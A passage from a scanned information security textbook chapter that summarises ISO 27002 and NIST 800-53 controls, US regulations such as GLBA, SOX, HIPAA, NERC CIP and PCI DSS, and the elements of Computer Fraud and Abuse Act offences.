be used to inform the decisions within ISO 27001 that lead to selection of controls

for ISO 27002.

ISO 27006 is a standard that provides guidelines for professional organizations that
provide certification to be properly accredited.

The ISO 27000 series framework combines the familiar initial risk assessment with
controls essential for compliance with typical regulations plus controls considered to be
common best practices for information security. Best practice controls include the creation
of an information security policy document, development of an organizational plan with
clearly defined security responsibilities, security education and training, proper incident
reporting, and development of a disaster-recovery plan.

Consider the following list of topical domains from ISO 27002, to get an idea of the
type of coverage provided by the standard (sections 0 through 3 are introductory material,
and section 4 defines the risk management approach that should be used to determine
which controls in the remaining 12 sections are relevant to each organization):

Risk Assessment and Treatment The use of risk assessment as a basis for selecting
appropriate security controls.

Security Policy The clear expression of management intent for information
protection.

Organization of Information Security Defining and staffing the roles and functions
needed by the security program.

Asset Management The responsibility and classification of assets, including data.

Human Resources Security Ensuring that the behaviors of trusted inside employees
don’t defeat the security controls, because the majority of security problems come
from insiders, not outsiders.

Physical and Environmental Security Creating secure areas and protecting
equipment.

Communications and Operations Management Maintaining a safe, reliable, and
correct IT environment (including the parts outside the direct control of the
organization, provided by third parties). Malware protection, backups, and network
security are included here.

Access Control User controls and responsibilities, including access controls for
the networks, operating systems, and applications, along with mobile computing.
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Information Systems Acquisition, Development, and Maintenance Security
requirements, ensuring integrity and confidentiality, change management in
development and support processes, and vulnerability management.

Information Security Incident Management Reporting security issues and
vulnerabilities, and managing incidents.

Business Continuity Management Information security aspects of business
continuity.

Compliance Legal requirements, compliance with policies, standards, and
specifications, and audit considerations.

Some important examples from ISO 27002 that would likely be of interest to most
organizations include

4.1,4.2 Establish a formal risk management program to assess and treat risks to
the organization’s assets.

5.1 Publish an information security policy that reflects senior management’s
expectations with regard to security, and make sure it is available to all stakeholders.

6.1 Establish an internal security organization with appropriate, well-defined
responsibilities and relationships with third parties.

6.2 Use confidentiality agreements to protect information when working with
third parties, to protect access to confidential information.

7.1 Identify and document assets, assign ownership, classify according to criticality,
and establish an acceptable use policy.

7.2 Establish an information classification scheme that includes labeling and
handling guidance.

8.1-8.3 Perform background checks on employment candidates, communicate
security responsibilities to all employees, provide information security awareness
and training, and ensure that the correct security behaviors are enforced through
a disciplinary process.

9.1, 9.2 Establish physical security controls, including perimeters, access controls,
separation of critical areas, and protection of equipment.

10.1 Establish a change control process along with separation of duties to separate
development and production environments and activities.

10.2 Manage third-party service delivery.

10.3 Perform capacity planning and resource monitoring for proactive allocation
of resources.

10.4 Protect against malware.
10.5 Establish reliable backups.
10.6 Establish network security controls.

10.7 Manage the handling and disposal of data and the media it resides on, and
transport data securely so it can’t be intercepted.
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¢ 10.9 Protect online systems, data, and transactions and maintain accurate audit
logs to identify issues.

e 11.2-11.6 Manage user access rights to control access to data.

e 12.2 Make sure that applications are correctly processing information and that
they check their inputs to avoid misuse, and use encryption to protect that
information.

e 12.5 Manage source code development and access, and use a formal change
control process to promote code from development into the production
environment.

e 12.6 Establish a vulnerability management program.
e 13.1,13.2 Establish an incident response program.
¢ 14.1 Perform business continuity management, including regular testing.

¢ 15.1-15.3 Establish a compliance management program to comply with all legal
and regulatory requirements. Perform audits to ensure compliance.

NIST

The National Institute of Standards and Technology (NIST) provides a set of “Special
Publications” to assist industry, government, and academic organizations with following
best practices. Known as the “800 series,” the set of security-specific publications is very
specific to individual technologies, with the exception of 800-53.

800-53 was developed primarily for the U.S. Federal Government, to specify security
control organization and structure, security control baselines, common controls, security
controls in external environments, security control assurance, risk management, information
system categorization, security control selection, and monitoring of security controls.

800-53 is organized into 18 “security control families,” which are conceptual categories
that represent important components of a complete security program.

. Access Control
. Awareness and Training
. Audit and Accountability

. Security Assessment and Authorization

1

2

3

4

5. Configuration Management

6. Contingency Planning

7. Identification and Authentication
8. Incident Response

9. Maintenance

10. Media Protection

11. Physical and Environmental Protection

12. Planning
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13. Personnel Security
14. Risk Assessment
15. System and Services Acquisition
16. System and Communications Protection
17. System and Information Integrity
18. Program Management
Each remaining 800 series publication provides guidance on specific subject areas, and
they are constantly updated as technologies emerge and change. The NIST web site is the
best place to look for technology-specific documents. Some examples of technology standards
that can be found there include
e SP 800-153: Guidelines for Securing Wireless Local Area Networks (WLANS)
e SP 800-147: BIOS Protection Guidelines
e SP 800-144: Guidelines on Security and Privacy in Public Cloud Computing
e SP 800-133: Recommendation for Cryptographic Key Generation

e SP 800-128: Guide for Security-Focused Configuration Management of Information
Systems

e SP 800-124: Guidelines on Cell Phone and PDA Security
e SP 800-123: Guide to General Server Security

e SP 800-122: Guide to Protecting the Confidentiality of Personally Identifiable
Information (PII)

e SP 800-121: Guide to Bluetooth Security

e SP 800-119: Guidelines for the Secure Deployment of IPv6

e SP 800-118: Guide to Enterprise Password Management

e SP 800-115: Technical Guide to Information Security Testing and Assessment

e SP 800-114: User’s Guide to Securing External Devices for Telework and Remote
Access

e SP 800-113: Guide to SSL VPNs

e SP 800-111: Guide to Storage Encryption Technologies for End User Devices

e SP 800-101: Guidelines on Cell Phone Forensics

e SP 800-100: Information Security Handbook: A Guide for Managers

e SP 800-98: Guidelines for Securing Radio Frequency Identification (RFID) Systems
e SP 800-95: Guide to Secure Web Services

e SP 800-94: Guide to Intrusion Detection and Prevention Systems (IDPS)

e SP 800-92: Guide to Computer Security Log Management

e SP 800-84: Guide to Test, Training, and Exercise Programs for IT Plans and
Capabilities
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e SP 800-83: Guide to Malware Incident Prevention and Handling
e SP 800-77: Guide to IPsec VPNs
e SP 800-72: Guidelines on PDA Forensics

e SP 800-69: Guidance for Securing Microsoft Windows XP Home Edition: A NIST
Security Configuration Checklist

¢ SP 800-68: Guide to Securing Microsoft Windows XP Systems for IT Professionals

e SP 800-66: An Introductory Resource Guide for Implementing the Health Insurance
Portability and Accountability Act (HIPAA) Security Rule

e SP 800-64: Security Considerations in the System Development Life Cycle
e SP 800-63: Electronic Authentication Guideline

e SP 800-58: Security Considerations for Voice Over IP Systems

e SP 800-55: Performance Measurement Guide for Information Security

e SP 800-50: Building an Information Technology Security Awareness and Training
Program

e SP 800-45: Guidelines on Electronic Mail Security

e SP 800-44: Guidelines on Securing Public Web Servers

e SP 800-41: Guidelines on Firewalls and Firewall Policy

e SP 800-40: Creating a Patch and Vulnerability Management Program
e SP 800-30: Guide for Conducting Risk Assessments

e SP 800-14: Generally Accepted Principles and Practices for Securing Information
Technology Systems

e SP 800-12: An Introduction to Computer Security: The NIST Handbook

Regulations Affecting Information Security Professionals

There are many government regulations that apply to various organizations. These
regulations are different from the standards described in the previous section because
they are required, instead of being aspirational. But regulations and standards are not
mutually exclusive. There is a lot of overlap between the standards described in the
previous section and the regulations included in this section. In many cases, it may make
sense for the security practitioner to strive for compliance with both a regulation and a
standard (such as HIPAA and ISO 27000, for example).

Sectorspecific regulations that affect information security professionals who work in
certain organizations include the following:

¢ Gramm-Leach-Bliley Act (GLBA) Applies to the financial sector, including banks
and lenders, for the protection of customer and financial information

¢ Sarbanes-Oxley Act of 2002, Section 404 (SOX 404 or Sarbox) Applies to all
publicly traded companies to guarantee data integrity against financial fraud
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¢ Health Insurance Portability and Accountability Act (HIPAA) and companion
HITECH Act Applies to the healthcare sector, regarding the protection of
patient information

¢ North American Electric Reliability Corporation Critical Infrastructure Protection
reliability standards (NERC CIP) Applies to electric service providers such as
utility companies, solar and wind power generators, and nuclear power generators

e Payment Card Industry (PCI) Data Security Standard (DSS) Applies to any
organization that processes, transmits, or stores credit card information

The Duty of Care

Recognizing the categories of network behavior that constitute criminal acts enables
information security professionals to take the offensive effectively upon discovery of such
conduct. Increasingly, however, chief information officers (CIOs) are focused on the legal
issues surrounding their organization’s defensive posture. Specifically, CIOs are growing
more concerned about liability arising from their organizations’ efforts to achieve one of the
information security staff’s core functions: safeguarding the security of the organization’s
information. Information security regulation, and the concomitant prospect of incurring
liability for falling short of industry standards for preparing for, preventing, and responding
to security breaches, is a key driver for information technology strategy.

This proliferation of federal and state regulations has largely been aimed at protecting
electronically stored, personally identifiable information, and the regulations have generally
been confined in their application to certain industry sectors. The regulations establish a
basis for liability and accountability for entities that fail to apply the requisite safeguards.
Although most of the regulations enacted to date are sector-specific, the combination of the
regulations and the forthcoming proposals is generating significant momentum toward
recognition of a long elusive “industry standard” for information security.

The first prominent regulation began with the industry-specific safeguards for financial
institutions required by the Gramm-Leach-Bliley Act. The protections of these safeguards
have been gradually expanded to the health-care industry by the Health Insurance Portability
and Accountability Act, and to nonregulated industries through consent decrees entered in
connection with enforcement actions brought by both the Federal Trade Commission and
state attorneys general. In addition, California has recently enacted its own non-sector-specific
reporting requirements for information security breaches. The cumulative effect of these
developments is an emerging duty of care for any entity that obtains or maintains personally
identifiable information electronically, and one that may logically be expected to extend to
the government and to corporate America’s general information security posture. A
discussion of the existing regulations provides some shape and contour to the measures that
organizations should now consider essential to secure their systems.

Gramm-Leach-Bliley Act (GLBA)

The Gramm-Leach-Bliley Act of 1999 (GLBA) was enacted to reform the banking industry,
and among its methods was the establishment of standards for financial institution
safeguarding of non-public personal information. Each federal agency with authority over
financial institutions was charged with establishing standards to ensure the security and
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confidentiality of customer records and information, to protect against any anticipated
threats or hazards to the security or integrity of such records, and to protect against
unauthorized access to or use of such records or information that could result in substantial
harm or inconvenience to any customer.

Each implementing agency took a slightly different tack. Individual financial agencies,
such as the Federal Reserve System and the Federal Deposit Insurance Corporation, acted
first, developing interagency banking guidelines in 2001 applying specifically to the
institutions under their jurisdictions. The Federal Trade Commission Safeguards Rule,
which became effective in May of 2003, is perhaps the most significant because it applies
broadly to any financial institution not subject to the jurisdiction of another agency that
collects or receives customer information. The defining element of the Safeguards Rule is
the requirement that each financial institution “develop, implement, and maintain a
comprehensive information security program that is written in one or more readily
accessible parts and contains administrative, technical, and physical safeguards that are
appropriate to [its] size and complexity, the nature and scope of [its] activities, and the
sensitivity of any customer information at issue.”

The Rule sets forth five specific elements that must be contained in an entity’s
information security program:

* Designate an employee or employees to coordinate the information security
program to ensure accountability

e Assess risks to customer information in each area of its operations, especially employee
training and management, information systems, and attack or intrusion response

® Design and implement safeguards to control the assessed risks, and monitor the
effectiveness of the safeguards

® Select service providers that can maintain appropriate safeguards, and include
safeguard requirements in service provider contracts

¢ Evaluate and adjust the information security program based on the results of
effectiveness monitoring and on material changes to the organization

15 U.S.C. Section 6801(b)(1)-(3)

The agencies responsible for establishing these safeguard standards are the Federal
Trade Commission (FTC); the Office of the Comptroller of the Currency (OCC); the
Board of Governors of the Federal Reserve System (Board); the Federal Deposit
Insurance Corporation (FDIC); the Office of Thrift Supervision (OTS); the National
Credit Union Administration (NCUA); the Secretary of the Treasury (Treasury);

and the Securities and Exchange Commission (SEC). The NCUA, the OCC, the
Board, the FDIC, and the OTS have issued final guidelines that are even more
rigorous than the FTC Safeguards Rule discussed here. The SEC also adopted a final
Safeguards Rule as part of its Privacy of Consumer Financial Information Final Rule.
(See 17 C.F.R. part 248.)

116 C.FR. part 314.
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The interagency banking guidelines implementing GLBA provide some additional
specifics with regard to practical application of safeguards. While they outline risk
assessment in the same manner as the FT'C Safeguards Rule—entities should identify
potential threats, then assess the likelihood of occurrence and the sufficiency of security
measures designed to meet those threats—they provide more detailed suggestions for risk
management. For instance, the banking guidelines suggest several methods for restricting
access to customer information, thereby reducing vulnerability. Among these suggested
methods are the following:

® Restrict data access only to authorized individuals

® Prevent authorized individuals from providing the information to unauthorized
individuals

® Restrict access to the physical locations that contain customer information
® Encrypt electronic customer information

® Restrict access of customer information to employees who are prescreened using
background checks

¢ Implement dual control procedures that require two or more persons, operating
together, to access information

While the interagency banking guidelines apply only to financial institutions under the
jurisdiction of the promulgating agencies, their guidelines for risk management serve as a
useful reference for all entities that collect or receive customer information.

Finally, the Securities and Exchange Commission released its own Regulation S-P in
2001. Regulation S-P requires every broker-dealer, fund, and registered adviser to adopt
policies and procedures to address the safeguards. Consistent with safeguards promulgated
by other agencies, Regulation S-P requires that the adopted policies and procedures be
reasonably designed to ensure the security and confidentiality of customer information,
protect against any anticipated threats or hazards to the information, and protect against
unauthorized access that could result in substantial customer harm or inconvenience.
Unlike many of the other agencies, however, the SEC opted not to mandate any particular
attributes that should be included in the policies, nor did it provide specific guidelines for
ensuring the regulation’s goals were met.

Although each agency took a slightly different approach, when viewed as a whole, it is
clear that certain common attributes permeate all of the various agency implementations of
the Gramm-Leach-Bliley safeguards—namely that the information security requirements
placed on a particular organization should be commensurate with the risks facing that
organization, and that written response plans and reporting mechanisms are essential to
addressing those risks. Each agency recognized that the duty to safeguard personal
information through risk assessment and risk management is directly proportional to the
potential vulnerability of the information and to the quantity and quality of the information
to be protected. For this reason, both the FTC Safeguards Rule and the interagency banking
guidelines are centered on the performance of an initial vulnerability assessment, followed
by the implementation of policies and procedures tailored to address the potential risk of
compromised customer information.
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Sarbanes-0xley Act

Although the SEC’s implementing regulations for GLBA were the least rigorous of any
agency, information security oversight by that agency may nonetheless emerge as a serious
issue under the purview of the more general Sarbanes-Oxley Act of 2002. The SEC placed
additional restrictions on public companies as a result of the Sarbanes-Oxley Act, which
requires in section 404 that the annual reports of covered entities contain an “internal
control report.” This report must indicate management’s responsibility for establishing
and maintaining adequate internal controls for the purpose of financial reporting, and
must contain an assessment of the effectiveness of those controls.? Signed into law in the
wake of the Enron and WorldCom scandals, Sarbanes-Oxley imposes substantial criminal
penalties on officers responsible for failure to accurately report.

The SEC states that registrants must implement “policies and procedures that ...
[plrovide reasonable assurance regarding prevention or timely detection of unauthorized
acquisition, use or disposition of the registrant’s assets that could have a material effect on the
financial statements.” The Federal Reserve, Federal Deposit Insurance Corporation, Office
of the Comptroller of the Currency, and Office of Thrift Supervision issued a joint policy in
March 2003 that characterizes “internal controls” as a process designed to provide reasonable
assurances that companies achieve the following internal control objectives: efficient and
effective operations, including safeguarding of assets; reliable financial reporting; and,
compliance with applicable laws and regulations. Among the core management process
components identified in the policy are risk assessment and monitoring activities, both key
attributes of information security procedures.! Although neither the SEC rule nor the joint
agency guidance single out information security as a component of “internal controls”
reporting, the increasing significance of information security issues to large organizations,
coupled with the requirements of officer and board of director oversight of information
security in sector-specific regulation, puts information security squarely onto the Sarbanes-
Oxley checklists for major corporations.

HIPAA Privacy and Security Rules

Much as the Gramm-Leach-Bliley Act sought to regulate the protection of personal
information in the financial industry, the Health Insurance Portability and Accountability
Act (HIPAA) introduced standards for the protection of health-related personal
information. Passed in 1996, HIPAA required the Department of Health and Human
Services to issue Privacy and Security Rules for the protection of individually identifiable

2 Sarbanes-Oxley Act of 2002, Section 404.

*See Final Rule: Management’s Report on Internal Control over Financial Reporting and Certification of Disclosure in
Exchange Act Periodic Reports, Release No. 34-47986 (June 5, 2003), 68 Fed. Reg. 36,636 (June 18, 2003) available
at www.sec.gov/rules/final/33-8238.htm.

*See Interagency Policy Statement on the Internal Audit Function and Its Outsourcing (March 17, 2003) (updating the
FDIC’s and other federal banking agencies’ guidance on the independence of an accountant who provides
both external and internal audit services to an institution as a result of the auditor independence provisions of
the Sarbanes-Oxley Act of 2002) available at www.federalreserve.gov/boarddocs/ press/bcreg/2003/20030317/
attachment.pdf; Internal Audits, FIL-21-2003 (March 17, 2003) available at www.fdic.gov/news/news/financial/
2003/1i10321.html.
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health information maintained electronically by health plans, health-care clearinghouses,
and certain health-care providers.

The Privacy Rule contains a general information security provision requiring covered
entities to implement “appropriate administrative, technical and physical safeguards” for
the protection of personal health information. The Security Rule imposes more specific
standards on covered entities. In practice, compliance with the standards of the Security
Rule is the measure for evaluating “appropriate safeguards” under the Privacy Rule.
Accordingly, the Security Rule safeguards are the relevant standards that regulated agencies
should incorporate into their information security plans.

Like the financial industry safeguards, the HIPAA Security Rule requires covered
entities to first perform a risk assessment and then adopt security measures commensurate
with the potential risk. The Rule sets out four general requirements:

¢ Ensure the confidentiality, integrity, and availability of all electronic personal
information created, received, maintained, or transmitted by the entity

® Protect against any reasonably anticipated threats or hazards to the information
® Protect against information disclosure prohibited by the Privacy Rule

® Ensure compliance with the Rule by its workforce

Before developing security measures designed to meet these requirements, the entity
must first perform an individualized assessment that considers the size of the entity and its
infrastructure and security capabilities, the cost of security measures, and the potential
likelihood and scope of threats to personal information. The breadth of these considerations
suggests that several groups within an organization—IT, information security, legal, risk
managers, human resources—may all need to be included in conducting the initial
assessment. In other words, a routine prepackaged penetration test or the equivalent from
a computer security vendor is unlikely to achieve the specific goals of the assessment.

Once the risk assessment has been completed, the organization must then adopt
administrative, physical, and technical safeguards that are defined with a greater level of
specificity in the HIPAA Rule than previous information security regulations. The Security
Rule’s specific standards include both “required” and “addressable” implementation
specifications. Where a specification is “addressable” and not required, the covered entity
must assess whether it is a “reasonable and appropriate safeguard in its environment, when
analyzed with reference to the likely contribution to protecting the entity’s electronic
personally identifiable health information.” The entity must implement the specification if
reasonable and appropriate; however, if doing so is not reasonable and appropriate, the
entity must document its reasons for this conclusion and implement an “equivalent
alternative measure.”

The required safeguards include a number of familiar concepts included in the GLBA
safeguards, as well as more specific, yet still technology-neutral requirements. For example,
the administrative safeguards require the implementation of a security management
process that includes written policies and procedures to prevent, detect, contain, and
correct security violations. The policies must include a risk analysis, risk management, and
employee sanction policy, an emergency contingency plan, and address information access
management. Entities are also required to conduct security awareness training in support
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of these policies. Physical safeguards include facility access controls, workstation security,
and media controls. Technical safeguards require access control and authentication but
leave the use of encryption of transmitted data and automatic logoff access controls as
“addressable” rather than “required” safeguards. Finally, the HIPAA Security Rule requires
that covered entities ensure by written contract that business associates will protect
information transmitted by the entity. Because a business associate essentially must agree to
comply with the Security Rule’s requirements with respect to any electronic protected health
information (ePHI) that it creates, receives, maintains, or transmits on behalf of the covered
entity, this requirement effectively extends the application of the HIPAA Security Rule beyond
the specific regulated sector to all entities sharing data with it.

The Health Information Technology for Economic and Clinical Health Act (HITECH
Act) is part of the American Recovery and Reinvestment Act of 2009 (ARRA) and a massive
expansion of the HIPAA Security and Privacy Rules in regard to the exchange of ePHI.
HITECH changes the following HIPAA sections:

e Enforcement
e Notification of Breach
e Electronic Health Record Access

* Business Associates and Business Associate Agreements

Enforcement penalties will be imposed for “willful neglect” and can range from $250,000
to $1.5 million with repeat/uncorrected violations. Breach notification laws require
mandatory reporting for any unauthorized exposure of unencrypted ePHI. Individuals,
upon request, may receive an electronic copy of their health records. Business associates are
now directly responsible, just as covered entities are, for the security and privacy of ePHI.

Thus, the HIPAA Security Rule, like the Gramm-Leach-Bliley safeguards, focuses largely
on initial and updated evaluations of vulnerability, followed by steps for developing an
information security plan, leaving flexibility on specifics so that the plan can be tailored to
the organization and the risk.

NERC CIP

NERC, the North American Electric Reliability Corporation, publishes a “cyber security
framework” known as Critical Infrastructure Protection (CIP). The main purpose of this set
of requirements is to ensure continued operation of the power grid, especially in the event
of a terrorist attack or other sabotage.

The main focus of NERC CIP is on what NERC refers to as Critical Cyber Assets, which
are any components (usually considered to be technology and computing devices) that are
necessary to the continued, reliable operation of electric power generation. Thus, the goal
of NERC CIP is to protect Critical Cyber Assets that support reliable operation of the power
grid, which NERC refers to as the Bulk Electric System.

The first step in this framework is to identify (and document) the Critical Cyber
Assets through a risk-based assessment. The framework provides a specific approach to
that identification and risk assessment, based on assigning criticality and vulnerability
attributes to the Critical Cyber Assets along with identification of risks that those assets
may be exposed to.

www.it-ebooks.info


http://www.it-ebooks.info/

Chapter 3  Compliance with Standards, Regulations, and Laws 69

After the assets are identified and categorized, the framework requires “minimum
security management controls” that should be employed to protect against the identified
risks. These controls include

® Physical access is expected to be restricted to authorized people who have appropriate
security training and awareness, and their access should be limited only to those areas
to which they require access to perform their job functions. A security perimeter must
be defined, and physical security controls are placed within that perimeter.

® Security management of systems identified as Critical Cyber Assets must include
methods, processes, and procedures for security. These also apply to noncritical
assets inside the security perimeter (sharing the same network as the critical assets).

* The identification, classification, response, and reporting of Cyber Security
Incidents related to Critical Cyber Assets must be reported to the appropriate
systems, governmental agencies, and regulatory bodies.

¢ Business continuity planning (BCP) and disaster recovery (DR) plans must be in
place and functionally effective.

NERC publishes these standards, and the plans needed to comply with them, as a free
download at www.nerc.com/docs/standards/rs/Reliability_Standards_Complete_Set.pdf.

PCI DSS: Payment Card Industry Data Security Standard

Developed in 2004 by several organizations that provide credit services, especially focused
on credit card numbers (CCNs), this standard applies to a large number of organizations
because so many organizations accept credit cards for payments. It is intended primarily to
protect the security of “cardholder data”—namely cardholder name, account number,
expiration date, service code, magnetic stripe or chip data, verification code, and PIN
numbers. Theft of these data elements costs credit organizations enormous amounts of
money, typically due to fraudulent use of credit card numbers by thieves, and PCI DSS is an
attempt to put reasonable protections in place to reduce that theft, and its associated costs.

Despite being focused on data specific to credit card transactions, PCI DSS looks quite
similar to more general security frameworks. It has 12 provisions, organized into 6 general
categories, as follows. If you compare these to the other standards in this chapter, such as
ISO 27002, you'll see the similarity.

Build and Maintain a Secure Network:

1. Install and maintain a firewall configuration to protect cardholder data

2. Do not use vendor-supplied defaults for system passwords and other security
parameters

Protect Cardholder Data:

3. Protect stored cardholder data

4. Encrypt transmission of cardholder data across open, public networks
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Maintain a Vulnerability Management Program:

5. Use and regularly update antivirus software or programs

6. Develop and maintain secure systems and applications
Implement Strong Access Control Measures:

7. Restrict access to cardholder data by business need to know
8. Assign a unique ID to each person with computer access

9. Restrict physical access to cardholder data
Regularly Monitor and Test Networks:

10. Track and monitor all access to network resources and cardholder data

11. Regularly test security systems and processes
Maintain an Information Security Policy:

12. Maintain a policy that addresses information security for all personnel

Laws Affecting Information Security Professionals

Information security professionals, along with the technology solutions they choose to
deploy, form the primary line of defense against incursions into government and corporate
computer networks. As the first responders to network incidents, particularly those
emanating from outside the organization, these professionals are responsible for evaluating
when network events rise above the normal background noise. In order to assess those
events meaningfully, it is imperative that information security professionals have some
understanding of the laws that govern misconduct on networks.

Knowledge of the elements of the various computer crimes defined by federal statutes, as
well as those included in state statutes, is vital to information security professionals. This is not
only because it assists information security professionals in defending their organizations’ data,
products, and communications from outside threats, but because it enables them to reduce
their organizations’ liability for actions taken by their own employees. Unwanted network
activity takes on a variety of forms and occurs along a continuum that runs from mere
bothersome nuisances to potentially terminable employment offenses to federal felonies.

Understanding the basic elements of computer crimes has several advantages:

e It informs the decision of whether to elevate notice of certain conduct to others
within the organization. When the information security staff knows the key
attributes that form criminal conduct, they are far less likely to sound alarms in
response to non-actionable events.

¢ It enables information security professionals to position their organizations to make
sound criminal referrals (or to build solid civil cases). Computer crime laws are
somewhat unique in that they impose a large degree of responsibility on the victim
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for taking steps to establish the commission of a cyber crime, including defining
access permissions and documenting damage. Awareness of this responsibility
enables information security professionals to design their network defense posture
and to collect and document critical evidence when responding to incidents. In
most cases, information security managers will take a lead role in drafting their
organizations’ information security policies, and recognition of the key computer
crime elements can be incorporated into those policies.

e [t will assist in preventing overly aggressive actions in response to incidents that
might subject a system administrator to liability.

Computer crimes can generally be divided into three categories: the “hacking” laws,
which cover intrusions into computer networks and subsequent fraud, theft, or damage; the
“electronic communications” laws, which govern the interception, retrieval, and disclosure
of e-mail and keystrokes; and other “substantive” laws, which address otherwise unlawful
conduct either committed in cyberspace or assisted by computers.

Legislation for all information security professionals in the United States, regardless of
the type of organization they work for, includes

¢ The Computer Fraud and Abuse Act

e The USA PATRIOT Act

® The Electronic Communications Privacy Act (ECPA)

¢ The Economic Espionage Act

e State-specific information security law

¢ Other criminal and civil law relating to theft and abuse
e Regulated industry-specific requirements

* Law enforcement requirements

The following sections describe some of the important aspects of these legal provisions
that information security professionals should be aware of.

Hacking Laws

The laws covering network intrusions that result in fraud, theft, or damage are referred to
as the “hacking” laws. The most prominent of these are the Computer Fraud and Abuse
Act, and parts of the USA PATRIOT Act. The specific relevance of these laws to information
security professionals are as follows.

The Computer Fraud and Abuse Act

The Computer Fraud and Abuse Act (CFAA), codified at 18 U.S.C. Section 1030, is the
seminal law on computer crimes. Designed to protect the confidentiality, integrity, and
availability of data and systems, the CFAA targets attackers and others who access or attempt
to access computers without authorization and inflict some measure of damage. Such
prohibited access includes not only direct hacking into a system, but also denial of service
attacks, viruses, logic bombs, ping floods, and other threats to information security.
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Two key sets of concepts permeate the CFAA:

e Access without or in excess of authorization

* Damage or loss

With rare exception, these two elements must be met to establish a CFAA crime. Because
these concepts are central to all violations, it’s important to understand their meaning in
the context of the statute.

For the purpose of the CFAA, the “access without authorization” prong actually can
take two distinct forms. The first is a straight “unauthorized access,” which is defined in
terms of a traditional trespass—an outsider without privileges or permission to a certain
network breaks into that network. For traditional unauthorized access, the intent of the
trespasser is irrelevant.

In addition to straight trespass, the CFAA also relies on the concept of gaining access to
a computer system in “excess of authorization.” Recognizing when a user has exceeded his
or her level of authorization can be a far more subtle determination than identifying a
straight unauthorized access. “Excess of authorization” can be established both by reference
to the purpose of the perpetrator’s access and the extent of the access. By way of example,
an authorized user on an organization’s network may have rights subject to limitations on
the scope of access—the user is not permitted to have system administrator privileges or to
access certain shared drives that are dedicated to storing sensitive information. If that user,
while authorized to be on the network, elevates his privileges to root access, or somehow
gains access to the restricted shared drive, she is transformed from an authorized user to
one acting “in excess of authorization.” Similarly, the same user may also be given access to
information on the network but only for a specific purpose—an IRS agent may access
taxpayer files, but only for those taxpayers on whose cases the agent is working. If that agent
begins browsing taxpayer files unrelated to her job function, the improper purpose for which
she is accessing the information may transform the otherwise authorized use into an
“excess of authorization.” Defining an act as purely unauthorized, as opposed to exceeding
authorization, can be significant, as certain sections of the CFAA require proof that the
perpetrator’s access was wholly unauthorized, while mere “excess of authorization” is
sufficient for others.

NOTE Indeed, the First Circuit Court of Appeals recognized that an IRS employee’s browsing of taxpayer
information out of idle curiosity, where such activity was forbidden by IRS employment policy,
constituted access in excess of authorization. U.S. v Czubinski, 106 FE3d 1069, 1078-79 (1st Cir.
1997). By contrast, a violation does not exist where a defendant can establish that the reason for
the access was approved. See Edge v Professional Claims Bureau, Inc., 64 FESupp.2d 116, 119
(E.D.N.Y. 1999) (granting summary judgment to defendant who accessed a credit report for a
permissible purpose).

The second set of key concepts in the CFAA is “damage” or “loss.” The CFAA defines
damage as “any impairment to the integrity or availability of data, a program, system, or
information.”

Each section of the CFAA incorporates these concepts of unauthorized access plus
damage in defining the specific conduct prohibited by that section. When evaluating whether
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“Damage” Is Defined by Section 1030(a)(5)(B)

For certain provisions of the CFAA, damage is confined to the following subset of
specific harms:

® Loss to one or more persons affecting one or more protected computers
aggregating to at least $5,000

* Any modification or potential modification to the medical diagnosis,
treatment, or care of one or more individuals

¢ Physical injury to any person
e A threat to public health or safety

e Damage affecting a computer system used by government for administration
of justice, national defense, or national security

unwanted network activity constitutes a crime, the threshold issue should be isolating the
unauthorized access. Upon that determination, the next question an information security
manager should ask is “What ‘plus’ factor exists?” Mere trespass (of a nongovernment
computer) alone does not constitute a crime under federal law. Accordingly, there must be
some additional activity that causes damage or loss in some form in order to constitute a
crime. The nature of that “something more” varies by section of the CFAA, as is demonstrated
by the following review of the most regularly charged 1030 offenses.

Section 1030(a) (2) has perhaps the broadest application of any section, as it protects
the confidentiality of data, irrespective of whether any damage is caused to the integrity
or availability of the data. 1030(a) (2) prohibits intentionally accessing a computer
without or in excess of authorization and thereby obtaining information in a financial
record or a credit report, from a federal agency, or from a “protected computer” if
conduct involved an interstate or foreign communication. In essence, 1030(a) (2) reaches
both forms of unauthorized access, and the only requisite “plus factor” is obtaining
information.’ This provision has been further broadened by courts holding that the mere
viewing of information during a period of unauthorized access constitutes “obtaining”
the information, even if it is not copied, downloaded, or otherwise converted.® In
recognition of its having the least egregious “plus factor,” violations of 1030(a) (2) are
misdemeanors, not felonies (meaning they carry a maximum sentence of one year in
prison), unless they are committed for commercial advantage or private financial gain,
for criminal or tortious purposes, or if the value of information exceeds $5,000.

® America Online, Inc. v LCGM, Inc., 46 F.Supp.2d 444 (E.D. Va. 1998) (defendant who maintained an AOL
membership for the purpose of harvesting e-mail addresses of AOL members in violation of AOL’s Terms of
Service exceeded authorized access, which combined with demonstrable loss by plaintiff established violation
of Section 1030(a) (2)).

“See, for example, Shurgard Storage Ctrs., Inc. v Safeguard Self Storage, Inc., 119 F.Supp.2d 1121 (W.D.Wash. 2000).
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Section 1030(a) (4) criminalizes either form of unauthorized access in connection with a
scheme to defraud. Specifically, this section prohibits “knowingly and with the intent to
defraud, accessing a protected computer without or in excess of authorization, and by means
of such conduct further[ing] the intended fraud and obtain[ing] anything of value.” Here,
the “plus factors” are the existence of a fraudulent scheme in connection with the hack, as
well as the acquisition of something of value. The CFAA specifically excludes the theft of
small-scale computer time (less than $5,000 in one year) as the potential thing of value.
Accordingly, “hacks for access” where the victim’s computer resources are the only thing
taken (such as leveraging the wireless network of a neighboring company) do not constitute
an (a) (4) violation, despite the presence of an unauthorized access coupled with an intent to
defraud (unless a loss of over $5,000 can be demonstrated). 1030(a) (4) violations are felonies
carrying a five year maximum sentence and $250,000 maximum fine for first time offenses.

Section 1030(a) (5) covers the classic computer hacking violations—intentional release of
worms and viruses, denial of service attacks, and computer intrusions that damage systems.
The section is broken into three distinct parts. First, Section 1030(a) (5) (A) (i) prohibits
knowingly causing the transmission of a “program, information, code, or command” and, as a
result of such conduct, intentionally causing “damage” without authorization to a protected
computer. This subsection has a strict intent element—the wrongdoer must knowingly commit
the act while intending to cause damage—but it is unique among CFAA crimes in that it
applies to either insiders or outsiders as it does not require any level of unauthorized access.
Section (a) (5) (A) (i) crimes are those where no level of access is necessarily required to
commit the offense, as in a SYN flood attack, where an outsider manages to knock a system
offline without ever gaining access.

NOTE In the case of United States v Morris, 928 F.2d 504 (2nd Cir. 1991), a defendant who released a
worm into national networks connecting university, governmental, and military computers around the
country was found guilty of accessing federal interest computers without authorization under former
Section 1030(a)(5)(A). The Morris worm, considered by many to be the first malware outbreak, is
mentioned further in Chapter 31.

Section 1030(a) (5) (A) (ii) and (iii) govern traditional computer hacking by outsiders
